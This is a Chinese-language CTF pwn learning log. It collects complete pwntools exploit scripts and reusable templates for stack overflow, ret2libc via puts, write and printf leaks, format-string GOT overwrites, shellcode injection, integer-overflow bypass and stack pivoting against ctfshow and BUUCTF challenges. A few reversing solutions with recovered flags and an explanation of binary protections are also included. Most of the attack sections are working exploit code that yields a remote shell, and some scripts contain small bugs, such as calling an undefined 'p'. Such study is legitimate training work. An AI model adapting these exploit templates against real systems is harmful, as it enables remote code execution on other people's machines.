pwn105(栈溢出+整数安全)

  1. 打开IDA,分析一下

    1

​ 有分析可以看到v3要大于等于3小于等于8,由于int 类型所以v3得范围是0~255,256 = 0,257 = 2。

​ 所以我们的范围在258~263都可以。

  1. 所以我们的思路是利用栈溢出,将strcpy的返回地址覆盖成shellcode的地址就可以了
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    from pwn import *
    from LibcSearcher import *
    #from ctypes import c_uint

    #context(arch = "amd64",os = 'linux',log_level = 'debug')
    #context(arch = "i386",os = 'linux',log_level = 'debug')

    r = remote("pwn.challenge.ctf.show", 28207)
    #r = process('./pwn')
    elf = ELF('./pwn')


    success = 0x804870E
    length = 261
    #(0x11+4)是dest的偏移量
    payload = b'a' * (0x11+4) + p32(success)
    payload = payload.ljust(length,b'a')
    r.recvuntil("[+] Check your permissions:")
    r.sendline(payload)
    r.interactive()

pwn 学习记录

栈溢出

调用已有的system

  1. 32位的模板

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    from pwn import *
    from LibcSearcher import *
    #context(os='linux', arch='amd64', log_level='debug')
    r = remote("域名",端口)
    offset = 0x12+4 #根据具体情况算出偏移量
    system = 0x008048521 #根据具体情况
    r.recvuntil("xxxxxx") #xxxx根据具体情况改,也可能没有
    payload1=b"a"*offset+p32(system)
    r.sendline(payload1)
    r.recv()
    r.interactive()
  2. 64为模板

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    from pwn import *
    from LibcSearcher import *
    #context.log_level = 'debug'
    context(os='linux', arch='amd64', log_level='debug')
    r = remote("域名",端口)
    offset = 0x14 + 0x08 #根据具体情况算出偏移量
    system = 0x0400657 #根据具体情况
    ret=0x0000000000400287
    p.recvuntil("xxxxxx") #xxxx根据具体情况改,也可能没有
    payload1=b"a"*offset+p64(ret)+p64(system)
    r.sendline(payload1)
    #r.recv()
    r.interactive()

    1
    ROPgadget --binary target_binary --only 'pop|ret'(target_binary换成你的文件)

    32位的比就要注意堆栈平衡就可以。

调用已有的system但要传参

  1. 32位模板

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    from pwn import *
    from LibcSearcher import *
    #context(os='linux', arch='amd64', log_level='debug')
    r = remote("域名",端口)
    offset = 0x12+4 #根据具体情况算出偏移量
    system = 0x080483A0 #根据具体情况
    binsh = 0x8048750 #根据具体情况
    r.recvuntil("xxxxxxxx") #xxxx根据具体情况改,也可能没有
    #payload=padding+p32(system)+p32(system的返回地址)+p32(system的参数)
    payload1=b"a"*offset+p32(system)+p32(0)+p32(binsh)
    r.sendline(payload1)
    #r.recv()
    r.interactive()
  2. 64位模板

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    from pwn import *
    from LibcSearcher import *
    context(os='linux', arch='amd64', log_level='debug')
    r = remote("域名",端口)
    offset = 0xa+8 #根据具体情况算出偏移量
    ret = 0x00000000004004fe
    rdi_ret = 0x00000000004007e3
    system = 0x0000000000400520
    binsh = 0x0000000000400808
    r.recvuntil("xxxxxxxxx") #xxxx根据具体情况改,也可能没有

    payload1=b"a"*offset+p64(ret)+p64(rdi_ret)+p64(binsh)+p64(system)
    #这里需要考虑堆栈平衡
    r.sendline(payload1)
    #r.recv()
    r.interactive()
    1
    ROPgadget --binary target_binary --only 'pop|ret'(target_binary换成你的文件)

    注意:当没有/bin/sh,可以用sh来代替它

bss段写入shellcode

  1. 32为模板(有get函数可以写入)

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    from pwn import *
    from LibcSearcher import *
    #context.log_level = 'debug'
    context(os='linux', arch='amd64', log_level='debug')
    r = remote("域名",端口)
    offset = 0x6c+4 #根据具体情况算出偏移量
    #只要是bss段的就可以
    buf2=0x804B060
    system=0x08048450
    get=0x8048420
    pop_ebp_ret=0x0804884b
    pop_ebx_ret=0x08048409
    r.recvuntil("xxxxxx") #xxxx根据具体情况改,也可能没有
    #pop_ebp_ret可换任意值
    payload2=b"a"*offset+p32(get)+p32(pop_ebx_ret)+p32(buf2)+p32(system)+p32(pop_ebp_ret)+p32(buf2)
    r.sendline(payload2)
    r.sendline("/bin/sh")
    #r.recv()
    r.interactive()
  2. 64位模板(有get函数可以写入)

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    from pwn import *
    from LibcSearcher import *
    #context.log_level = 'debug'
    context(os='linux', arch='amd64', log_level='debug')
    r = remote("域名",端口)
    offset = 0xa+8
    #只要是bss段的就可以
    buf2=0x0000000000602080
    rdi_ret=0x00000000004007f3
    system=0x000000000400520
    get=0x0000000000400530

    payload1=b"a"*offset+p64(rdi_ret)+p64(buf2)+p64(get)+p64(rdi_ret)+p64(buf2)+p64(system)
    r.sendline(payload1)
    r.sendline("/bin/sh")
    r.recv()
    r.interactive()

碰到一题学一题不断更新

libc泄露

这里主要记录模版和相关例题,在没有直接给system(/bin/sh)的题目,并且有put,write等函数的时候可以考虑libc泄露

puts泄露

puts(32位)

例题:ctfshow的pwn48

模板:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
from pwn import *
from LibcSearcher import *
#context(os = 'linux', arch = 'i386', log_level = 'debug')
#r = process("./pwn48") #本地
r = remote("pwn.challenge.ctf.show", 28274) #远程
elf = ELF('./pwn48')
offset = 0x6B + 0x4 #根据实际的偏移量填写
main_addr = elf.sym['main']
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
payload = offset * b'a' + p32(puts_plt) + p32(main_addr) + p32(puts_got)
r.sendline(payload)
puts_addr = u32(r.recvuntil('\xf7')[-4:])
print(hex(puts_addr))
libc = LibcSearcher('puts', puts_addr)
libc_case = puts_addr - libc.dump('puts')
system_addr = libc_case + libc.dump('system')
bin_sh = libc_case + libc.dump('str_bin_sh')
payload = offset * b'a' + p32(system_addr) + p32(0) + p32(bin_sh)
r.sendline(payload)
r.interactive()

puts(64位)

例题:ctfshow的pwn,这题write和puts都有这里只用puts,write下面有别的例题

模板:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
from pwn import *
from LibcSearcher import *
#context(os='linux', arch='amd64', log_level='debug')
#r = process("./pwn46")
r = remote("pwn.challenge.ctf.show", 28220)
elf = ELF("./pwn46")
puts_plt = elf.plt["puts"]
puts_got = elf.got["puts"]
main = elf.sym["main"]
offset = 0x70+8
rdi_ret = 0x0000000000400803
ret = 0x00000000004004fe
payload1 = b"a"*offset+p64(ret)+p64(rdi_ret)+p64(puts_got)+p64(puts_plt)+p64(main)
r.recvuntil("O.o?\n")#此题不可去
r.sendline(payload1)
puts_addr=u64(r.recv(6).ljust(8,b'\x00'))
#puts_addr=u64(r.recvuntil('\x7f')[-6:].ljust(8,b'\x00'))
print(hex(puts_addr))
libc=LibcSearcher("puts",puts_addr)
libc_base=puts_addr-libc.dump("puts")
system=libc_base+libc.dump("system")
binsh=libc_base+libc.dump("str_bin_sh")
print(hex(system))
print(hex(binsh))
payload2=b"a"*offset+p64(rdi_ret)+p64(binsh)+p64(system)
r.sendline(payload2)
r.interactive()

获取rdi,ret的地址可以通过ROPgadget

1
ROPgadget --binary ./pwn46 --only "pop|ret"

write泄露

write(32位)

例题:BUUCTF的jarvisoj_level3

模板:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
from pwn import *
from LibcSearcher import *

r=remote('node5.buuoj.cn',27119)
elf=ELF('./level3')
main = elf.sym["main"]
write_plt=elf.plt['write']
write_got=elf.got['write']
offset = 0x88+4
payload=b'a'*offset+p32(write_plt)+p32(main)+p32(1)+p32(write_got)+p32(4)

r.recvuntil('Input:\n')
r.sendline(payload)
write_addr=u32(r.recv(4))
print(hex(write_addr))
libc=LibcSearcher('write',write_addr)
libc_base=write_addr-libc.dump('write')
system=libc_base+libc.dump('system')
sh=libc_base+libc.dump('str_bin_sh')

payload=b'a'*offset+p32(system)+p32(main)+p32(sh)
#r.recvuntil('Input:\n')
r.sendline(payload)

r.interactive()

write(64位)

例题:BUUCTF的jarvisoj_level3_x64

模板:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
from pwn import *
from LibcSearcher import *

#context(arch='amd64', os='linux', log_level='debug')

# 初始化目标:本地文件或远程服务
elf = ELF('./level3_x64') # 替换成你的二进制文件名
#r = process('./level3_x64') # 本地测试
r = remote('node5.buuoj.cn', 28476) # 远程连接

# 获取关键地址
write_plt = elf.plt['write']
write_got = elf.got['write']
main_addr = elf.symbols['main'] # 用于重新触发漏洞(可选)

# 寻找ROP Gadgets(需根据实际二进制用ROPgadget查找)
pop_rdi = 0x04006b3 # pop rdi; ret; (示例地址,需替换)
pop_rsi_r15 = 0x4006b1 # pop rsi; pop r15; ret; (示例地址,需替换)

# 计算溢出偏移量(需通过调试确定)
offset = 0x80 + 0x08 # 替换成你的实际偏移量

# 构造泄露write@got的ROP链

payload = flat(
[b'A'] * offset, # 填充到返回地址
p64(pop_rdi),
p64(1), # fd=1(stdout)
p64(pop_rsi_r15),
p64(write_got), # 要泄露的地址(write@got)
p64(0), # 填充r15
p64(write_plt), # 调用write(1, write@got, 8)
p64(main_addr) # 返回main重新执行(可选)
)
#等同于payload = b'A' * offset + p64(pop_rdi) + p64(1) + p64(pop_rsi_r15) + p64(write_got) + p64(0) + p64(write_plt) + p64(main_addr)
# 发送Payload
r.sendlineafter(b'Input:\n', payload) # 根据实际提示符修改

# 接收泄露的地址(注意接收长度)

write_leak = u64(r.recvuntil('\x7f')[-6:].ljust(8, b'\x00'))
log.success(f'write@libc: {hex(write_leak)}')

# 使用libcsearch查找libc版本
libc = LibcSearcher('write', write_leak)
libc_base = write_leak - libc.dump('write')
system_addr = libc_base + libc.dump('system')
bin_sh_addr = libc_base + libc.dump('str_bin_sh')

log.info(f'libc base: {hex(libc_base)}')
log.info(f'system@libc: {hex(system_addr)}')
log.info(f'/bin/sh@libc: {hex(bin_sh_addr)}')

# 构造后续攻击Payload(示例:ret2system)
payload2 = flat(
b'A' * offset,
p64(pop_rdi),
p64(bin_sh_addr),
p64(system_addr)
)

# 发送第二个Payload
r.sendline(payload2)

# 获得shell
r.interactive()

本题的rdx已被填写所以不用考虑,并且此题也找不到rdx

1

如果有rdx的话

1
2
3
4
5
6
7
8
9
10
11
12
payload = flat(
[b'A'] * offset, # 填充到返回地址
p64(pop_rdi),
p64(1), # fd=1(stdout)
p64(pop_rsi_r15),
p64(write_got), # 要泄露的地址(write@got)
p64(0), # 填充r15
p64(pop_rdx),
p64(8), # 设置rdx为8,因为我们要读取8个字节(也不一定是8)
p64(write_plt), # 调用write(1, write@got, 8)
p64(main_addr) # 返回main重新执行(可选)
)

printf泄露(格式化字符串)

例题:ctfshow的pwn95

模板:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
from pwn import *
from LibcSearcher import *
#context(arch = "amd64",os = 'linux',log_level = 'debug')
#context(arch = "i386",os = 'linux',log_level = 'debug')
#r = process("./pwn")
r = remote('pwn.challenge.ctf.show',28269)
elf = ELF("./pwn")
#计算出的偏移量,根据实际情况调整
offset = 6
printf_got = elf.got['printf']
payload1 = p32(printf_got) + b'%6$s'
r.send(payload1)
printf_addr = u32(r.recvuntil('\xf7')[-4:])
libc = LibcSearcher('printf',printf_addr)
libc_base = printf_addr - libc.dump('printf')
system_addr = libc_base + libc.dump('system')
payload = fmtstr_payload(offset,{printf_got:system_addr})

r.send(payload)
r.send('/bin/sh')
r.interactive()

例题:axb_2019_fmt64

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
from pwn import *
from LibcSearcher import *
context(log_level='debug',arch='amd64')
#sh=process("./pwn")
sh=remote('node5.buuoj.cn',26272)
elf = ELF('./pwn')
libc = ELF('./libc-2.23.so')
puts_got=elf.got['puts']
printf_got =elf.got['printf']
main = elf.sym['main']
#payload1 = p32(puts_got)+b'%8$s'
payload1 = b'%9$saaaa'+p64(puts_got) #%9$saaaa占了一个字符所以8 -->9
sh.sendlineafter('Please tell me:',payload1)
puts_addr = u64(sh.recvuntil('\x7f')[-6:].ljust(8,b'\x00'))
print('puts_add=>',hex(puts_addr))
libc.address = puts_addr-libc.sym['puts']
system_addr = libc.sym['system']
printf_addr = libc.sym['printf']
print('system_add=>',hex(system_addr))
print('printf_add=>',hex(printf_addr))
#这些地址只有部分不一样,那么只要覆盖这些不一样的即可了
sysaddr1=system_addr&0xff
sysaddr2=(system_addr&0xff00)>>8
sysaddr3=(system_addr&0xff0000)>>16
print('sys1=>',hex(sysaddr1))
print('sys2=>',hex(sysaddr2))
print('sys3=>',hex(sysaddr3))
#9是输出的“Repeater:”的字符数
sysaddr1_value = sysaddr1-9
result = sysaddr2-sysaddr1
sysaddr2_value=result if result>0 else result+0x100
result = sysaddr3-sysaddr2
sysaddr3_value=result if result>0 else result+0x100

#这种和32位一样的写法会被00截断,所以需要把要覆盖的地址放到payload最后面
# payload2=b'aaaa'+p64(printf_got)+p64(printf_got+1)+p64(printf_got+2)#共22个字符
# payload2+=b'%'+bytes(str(sysaddr1_value),encoding='utf-8')+b'c'+b'%9$hhn'
# payload2+=b'%'+bytes(str(sysaddr2_value),encoding='utf-8')+b'c'+b'%10$hhn'
# payload2+=b'%'+bytes(str(sysaddr3_value),encoding='utf-8')+b'c'+b'%11$hhn'

payload2=b'%'+bytes(str(sysaddr1_value),encoding='utf-8')+b'c'+b'%13$hhn'
payload2+=b'%'+bytes(str(sysaddr2_value),encoding='utf-8')+b'c'+b'%14$hhn'
payload2+=b'%'+bytes(str(sysaddr3_value),encoding='utf-8')+b'c'+b'%15$hhn'
payload2=payload2.ljust(40,b'a')
print('len=>',len(payload2))
print(payload2)
payload2+=p64(printf_got)+p64(printf_got+1)+p64(printf_got+2)


sh.sendline(payload2)
payload3 = b';/bin/sh'
sh.sendline(payload3)
sh.interactive()

  1. 直接写思路

    • 1.没有直接的/bin/sh
    • 2.没有格式化字符串

    1

​ 缓冲区溢出风险:即使n小于等于50(即dest数组的大小),因为src只是一个字符(1字节),试图读取超过1字节的数据会导致访问越

​ 界。如果n大于50,不仅会访问越界,还会写入超出dest数组范围的内存,导致缓冲区溢出。(有栈溢出可以利用)

  1. 我们可以利用栈溢出写入shellcode,不过得先,输入crashme进入vuln

    2

  2. 计算shellcode所在的位置
    先在vuln找到一个nop的地址
    3

​ 在这个地方下断点,再用gdb,先输入crashme,再查栈

1
stack 20

4

​ 可以看到输入起始位置0x22而ebp的位置在0x38

​ 远程连接可以直接得到输入的地址,但是地址会变化,偏移不会变化。
5

  1. 思路就是在ebp后写入shellcode

    我们已经知道了输入地址和ebp的距离是0x38-0x22,可以进行填充
    我们还要算出shellcode的写入位置

    6

7

所以shellcode的位置就是s的初始地址:0xffffcc0c - 0xffffcbf0(0x5c-0x40 = 0x1c)

给出exp

1
2
3
4
5
6
7
8
9
10
11
12
13
from pwn import *
from LibcSearcher import *

#r = remote('node5.buuoj.cn', 29139) # 连接到远程服务器
r = process("./ez_pz_hackover_2016")
shellcode = asm(shellcraft.sh()) # 生成shellcode
r.recvuntil("crash: ") # 接收直到"crash: "
addr = int(r.recv(10), 16) # 接收10个字节并转换为十六进制地址
# 8是crashme\x00(8个字节);4是ret(4个字节)
payload = b'crashme\x00'+b'a' * (0x38 - 0x22 - 8 +4) + p32(addr - 0x1c) + shellcode # 构造payload
r.sendline(payload)

r.interactive() # 进入交互模式
  1. 8

无法F5的题目

  1. 只能先用IDA打开,看汇编
    1

  2. 分析一下

    2

3

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
#include <stdio.h>
#include <string.h>

unsigned char byte_41EA08[] = { /* ... 需要填充实际值 ... */ };

int main(int argc, const char **argv, const char **envp) {
char inputBuffer[100]; // 0x64 (100 in decimal)

printf("Give Me Your Flag String:\n");
scanf("%s", inputBuffer);

int length = strlen(inputBuffer);
if(length != 0x27 /* 39 in decimal */) {
printf("Wrong!\n");
system("pause");
return -1; // 或者其它错误处理
}

for(int i = 0; i < length; ++i) {
if((inputBuffer[i] ^ i) != byte_41EA08[i]) {
printf("Wrong!\n");
system("pause");
return -1;
}
}

printf("Right!\n");
system("pause");

return 0;
}

大概就是上面编码的意思

  1. 编写脚本解题
    找到byte_41EA08
    4

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    #include<stdio.h>
    #include<string.h>
    #include<stdlib.h>
    int main(){
    char ida_chars[] =
    {
    0x4D, 0x53, 0x41, 0x57, 0x42, 0x7E, 0x46, 0x58, 0x5A, 0x3A,
    0x4A, 0x3A, 0x60, 0x74, 0x51, 0x4A, 0x22, 0x4E, 0x40, 0x20,
    0x62, 0x70, 0x64, 0x64, 0x7D, 0x38, 0x67, 0x00
    };
    char flag[strlen(ida_chars)];
    int i;
    for(i=0;i<strlen(ida_chars);i++){
    flag[i] = ida_chars[i] ^ i;
    }
    printf("flag:%s",flag);
    }
1
MRCTF{@_R3@1ly_E2_R3verse!}

一、二进制保护一共五种

1

ASLR

ASLR:地址空间随机化,proc/sys/kermel/randomize_va_space里的值可以控制系统级的ASLR,使用root权限可以进行修改,有三个值可以设置,具体说明如下。

  • 0:关闭 ASLR。
  • 1:mmap base、stack、vdsopage将随机化。这意味着“.so”文件将被加载到随机地址。链接时指定了-pie选项的可执行程序,其代码段加载地址将被随机化。配置内核时如果指定了CONFIG_COMPAT_BRK,则randomize_va_space 默认为1,此时 heap 没有随机化。
  • 2:在1的基础上增加了heap随机化。配置内核时如果禁用CONFIG_COMPAT_BRK,则randomize_va_space默认为2。ASLR 可以保证在每次程序加载的时候自身和所加载的库文件都会被映射到虚拟地址空间的不同地址处。

RELRO

RELRO: 重定位,一般会分为两种情况,即partial relro和full relro,具体区别就是前者重定位信息(如got表)可写,而后者不可写。

Stack

Stack:栈溢出保护,gcc编译程序默认开启,添加编译选项-fno-stack-protector会关闭程序的 stack canary 栈保护。

NX

NX:数据执行保护,即DEP(Data Execution Prevention),是指禁止程序在非可执行的内存区(non-executable memory)中执行指令。在80x86体系结构中,操作系统的内存管理是通过页面表(pege table)存储方式来实现的,其最后一位就是NX位,0表示允许执行代码,1表示禁止换行代码。一般来说,NX主要是防止直接在栈(stack)和堆(heap)上运行shellcode 代码。 gcc默认开启不可执行栈功能,添加编译选项-zexecstack即可开启栈可执行功能。

PIE

PIE:代码段随机化,具体见ASLR。

整数溢出的题型记录一下

  1. 打开IDA,发现有一个新定义的get函数
    1

​ 整数溢出可以用 -1 进行绕过

  1. 在IDA中没有找到shell所以只能通过libc泄露(有printf)

  2. 可以开始写exp了

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    from pwn import *
    from LibcSearcher import *
    #r = process('./pwn2_sctf_2016')
    r=remote('node5.buuoj.cn',29975)
    elf=ELF('./pwn2_sctf_2016')
    offset = (0x2c+4)
    printf_plt=elf.plt['printf']
    printf_got=elf.got['printf']
    main=elf.sym['main']

    r.recvuntil('How many bytes do you want me to read? ')
    r.sendline('-1')
    r.recvuntil('\n')
    payload=b'a'*offset+p32(printf_plt)+p32(main)+p32(printf_got)
    r.sendline(payload)
    r.recvuntil('\n')
    printf_addr=u32(r.recv(4))
    print(hex(printf_addr))
    libc=LibcSearcher('printf',printf_addr)

    libc_base=printf_addr-libc.dump('printf')
    system=libc_base+libc.dump('system')
    bin_sh=libc_base+libc.dump('str_bin_sh')

    r.recvuntil('How many bytes do you want me to read? ')
    r.sendline('-1')
    r.recvuntil('\n')
    payload=b'a'*offset+p32(system)+p32(main)+p32(bin_sh)
    r.sendline(payload)

    r.interactive()

  1. 记录一个传参的pwn题

  2. 比较简单直接把exp,写详细点

    win_function2是win_function1的返回地址,p32(win_function2)有参数,flag + 0xBAAAAAAD分别是win_function2的返回地址和参数,0xBAAAAAAD +0xDEADBAAD分别是flag的返回地址和参数

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    from pwn import *
    from LibcSearcher import *
    #r = process('./PicoCTF_2018_rop_chain')
    r = remote("node5.buuoj.cn", 29125)
    offset = 0x18 + 0x04
    win_function1 = 0x80485CB
    win_function2 = 0x80485D8
    flag = 0x804862B
    payload = offset * b'a' + p32(win_function1) + p32(win_function2) + p32(flag) + p32(0xBAAAAAAD) +p32(0xDEADBAAD)
    r.sendline(payload)
    r.interactive()

  3. 还有一种方式就是将返回地址设置为ebp

    1
    2
    #ebp=0x0804859b
    #payload=b'a'*(0x2c+4)+p32(0x8048586)+p32(0x804859D)+p32(ebp)+p32(0xACACACAC)+p32(0x8048606)+p32(ebp)+p32(0xBDBDBDBD)

  1. 用IDA打开
    1

2

3

  1. 现将混淆复原

    4

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    #include<stdio.h>
    #include<string.h>
    #include<stdlib.h>
    int main(){
    char byte_40E0AA[] = "KLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";
    char byte_40E0A0[] = "ABCDEFGHIJ";
    int result; // eax
    char v1; // cl

    for ( result = 6; result < 15; ++result )
    {
    v1 = byte_40E0AA[result];
    byte_40E0AA[result] = byte_40E0A0[result];
    byte_40E0A0[result] = v1;
    }

    printf("%s\n",byte_40E0A0);
    printf("%s", byte_40E0AA);
    }

    发现一个问题,byte_40E0A0[]只有10到不来15,所以要改进一下

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    #include<stdio.h>
    #include<string.h>
    #include<stdlib.h>
    int main(){
    char byte_40E0AA[] = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";
    int result; // eax
    char v1; // cl

    for ( result = 6; result < 15; ++result )
    {
    v1 = byte_40E0AA[result];
    byte_40E0AA[result] = byte_40E0AA[result+10];
    byte_40E0AA[result+10] = v1;
    }
    printf("%s", byte_40E0AA);
    }
    1
    ABCDEFQRSTUVWXYPGHIJKLMNOZabcdefghijklmnopqrstuvwxyz0123456789+/
  2. 将大小写复原

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    #include<stdio.h>
    #include<string.h>
    #include<stdlib.h>
    int main(){
    char v2[] = "zMXHz3TIgnxLxJhFAdtZn2fFk3lYCrtPC2l9" ;
    int i,j;
    char v1[strlen(v2)];
    for(i = 0;i < strlen(v2); i++){
    if ( (v2[i] < 97 || v2[i] > 122) && (v2[i] < 65 || v2[i] > 90) )
    {

    v1[i] = v2[i];
    }
    else if(v2[i] < 97 || v2[i] > 122){
    v1[i] = v2[i] + 32;
    }
    else
    {
    v1[i] = v2[i] - 32;
    }
    }

    printf("%s",v1);
    }
    1
    ZmxhZ3tiGNXlXjHfaDTzN2FfK3LycRTpc2L9
    1. 最后用在线网站解码

      5

      1
      flag{bAse64_h2s_a_Surprise}

碰到一个栈迁移的题目仔细记录一下

ciscn_2019_es_2

  1. 先用IDA打开
    1

​ 但是它有两个read,于是我们可以利用第一个泄露ebp的内容,利用第二个进行栈迁移,通过system函数执行/bin/sh

 
1
2
3
4
5
6
7
8
9
from pwn import *
r = process('./pwn')
#r = remote("node5.buuoj.cn", 25271)
payload1= b'a'*0x24 + b'b'*4
r.send(payload1)
r.recvuntil('bbbb')
ebp_addr = u32(r.recv(4))
print(hex(ebp_addr))
r.interactive()

​ 2. 动态调试找到s到ebp的距离,先在main的nop下断点

2

3

4

s和ebp的距离是0x38

5

当恢复ebp的备份时,这个备份恰好比原来多了0x10

  1. 栈偏移一般用leave和ret

    1
    2
    3
    4
    5
    leave:
    move esp ebp 将ebp指向的地址给esp
    pop ebp 将esp指向的地址存放的值赋值给ebp
    ret:
    pop eip 将esp指向的地址存放的值赋值给eip

    构造payload2

    1
    2
    3
    4
    5
    6
    7
    8
    payload2 = b'aaaa' #如果一开始将system函数写第一个,那么我们在用leave;ret劫持栈的时候要抬高4字节
    payload2 += p32(system) #接上system的地址
    payload2 += b'aaaa' #system的返回地址
    payload2 += p32(ebp_addr - 0x38 + 0x10) # /bin/sh的地址
    payload2 += b'/bin/sh'
    payload2 = payload2.ljust(0x28,b'\x00') #填充垃圾数据至0x28
    payload2 += p32(ebp_addr - 0x38) #填充成aaaa的地址
    payload2 += p32(leave_ret)

    可以用ROP获取leave_ret的地址
    6

​ 完整exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
python
from pwn import *
#r = process('./pwn')
r = remote("node5.buuoj.cn", 27539)
leave_ret = 0x080484b8
system = 0x8048400
payload1= b'a'*0x24 + b'b'*4
r.send(payload1)
r.recvuntil('bbbb')
ebp_addr = u32(r.recv(4))
print(hex(ebp_addr))
payload2 = b'aaaa' #如果一开始将system函数写第一个,那么我们在用leave;ret劫持栈的时候要抬高4字节
payload2 += p32(system) #接上system的地址
payload2 += b'aaaa' #system的返回地址
payload2 += p32(ebp_addr - 0x38 + 0x10) # /bin/sh的地址
payload2 += b'/bin/sh'
payload2 = payload2.ljust(0x28,b'\x00') #填充垃圾数据至0x28
payload2 += p32(ebp_addr - 0x38) #填充成aaaa的地址
payload2 += p32(leave_ret)
r.sendline(payload2)
r.interactive()

得到flag
7

ciscn-s-4

和ciscn_2019_es_2一样

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
from pwn import *

r=remote('node5.buuoj.cn',29440)
#r=process('./ciscn_s_4')
context.log_level='debug'

sys_addr=0x8048400
leave=0x080484b8

payload=b'a'*0x24+b'bbbb'
r.recvuntil(b'name?')
r.send(payload)
r.recvuntil('bbbb')
ebp=u32(p.recv(4).ljust(4,b'\x00'))
buf=ebp-0x38
payload=(p32(sys_addr)+b'aaaa'+p32(buf+12)+b'/bin/sh\x00').ljust(0x28,b'a')+p32(buf-4)+p32(leave)
r.send(payload)
r.interactive()